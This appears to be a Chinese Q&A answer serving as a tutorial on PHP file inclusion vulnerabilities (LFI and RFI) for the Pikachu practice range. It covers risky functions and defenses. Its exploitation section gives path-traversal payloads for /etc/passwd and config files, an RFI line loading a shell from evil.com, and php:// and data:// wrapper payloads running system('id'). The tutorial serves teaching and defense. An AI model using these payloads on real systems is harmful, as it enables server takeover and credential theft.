【Pikachu 靶场精讲】File Inclusion—前置知识

【Pikachu 靶场精讲】File Inclusion—前置知识
最新回答
思念成灾*

2021-05-29 09:11:52

文件包含漏洞是因代码中文件路径作为可变参数且未严格过滤,导致攻击者可控制被包含文件路径,进而执行恶意代码或读取敏感信息的漏洞。以下从基础概念、漏洞成因、高危函数、漏洞类型及利用方法展开分析:

一、文件包含的基础概念

文件包含的核心目的是实现代码复用,通过函数将外部文件内容嵌入当前脚本,避免重复编写相同功能代码。例如,将数据库连接、公共函数等封装在独立文件中,通过包含函数调用。

二、漏洞成因与危害
  • 成因:当文件路径参数可由用户输入控制(如通过GET/POST传递),且未对输入进行严格过滤或验证时,攻击者可构造恶意路径,指向服务器上的敏感文件或远程恶意脚本。
  • 危害

    本地文件包含(LFI):读取服务器本地敏感文件(如/etc/passwd、数据库配置文件config.php),泄露系统信息或数据库凭证。

    远程文件包含(RFI):若服务器配置允许(allow_url_fopen=On且allow_url_include=On),攻击者可引入远程恶意脚本(如Web Shell),直接控制服务器。

三、PHP高危函数

PHP中以下函数可能引发文件包含漏洞,且无论文件类型如何均会作为PHP代码解析

  • include():包含并执行目标文件内容,出错时仅警告,后续代码继续执行。
  • include_once():与include()功能相同,但避免重复包含同一文件。
  • require():包含并执行目标文件内容,出错时直接终止脚本执行。
  • require_once():与require()功能相同,但避免重复包含同一文件。

核心区别

  • require()通常用于程序初始化阶段(如引入核心库),出错时需立即终止;
  • include()多用于循环或条件分支中动态加载模块,出错时允许程序继续运行。
四、漏洞类型与核心差异
  1. 本地文件包含(LFI)

    条件:被包含文件位于服务器本地,且攻击者可通过路径遍历(如../../)访问非预期文件。

    典型场景:读取/etc/passwd、/var/log/apache/access.log(结合日志注入),或包含上传的恶意文件(需配合文件上传漏洞)。

  2. 远程文件包含(RFI)

    条件:服务器配置允许远程文件包含(allow_url_fopen=On且allow_url_include=On),且攻击者可控制包含的URL。

    典型场景:引入攻击者控制的远程PHP脚本(如

    http://evil.com/shell.php
    ),直接执行系统命令或建立后门。

核心差异

  • 文件来源:LFI仅限本地文件,RFI可包含远程文件。
  • 利用难度:RFI需服务器配置支持,但危害更大;LFI更常见,常结合其他漏洞(如文件上传、日志注入)扩大攻击面。
五、漏洞利用方法
  1. 读取敏感文件

    通过路径遍历读取系统文件(如?file=../../../../etc/passwd)。

    读取应用配置文件(如?file=../../../config/db.php),获取数据库凭证。

  2. 配合Web Shell提权

    若存在文件上传漏洞,上传包含恶意代码的文件(如shell.php),再通过文件包含执行(如?file=../../../uploads/shell.php)。

  3. PHP伪协议利用

    php://input:通过POST数据传入恶意代码,绕过文件扩展名限制。

    ?file=php://input&content=<?php system('id'); ?>

    data://:直接嵌入Base64编码的PHP代码。

    ?file=data://text/plain,<?php system('id'); ?>

    file://:读取本地文件(LFI场景)。

    ?file=file:///etc/passwd
六、防御措施
  1. 禁用危险函数:避免使用include/require动态包含用户输入的文件,改用白名单机制。
  2. 严格过滤输入:对文件路径参数进行校验,禁止../等路径遍历字符。
  3. 配置服务器

    关闭allow_url_fopen和allow_url_include(防止RFI)。

    设置open_basedir限制PHP可访问的目录范围。

  4. 最小权限原则:运行Web应用的用户权限应限制为仅访问必要目录。
七、扩展学习
  • PHP伪协议详解:深入理解php://、data://等协议的利用方式。
  • 靶场实践:通过Pikachu、DVWA等靶场模拟LFI/RFI攻击,掌握防御技巧。
  • 其他语言漏洞:虽然本文聚焦PHP,但JSP、ASP等语言也可能存在类似漏洞(如JSP的<jsp:include>),需关注语言特性差异。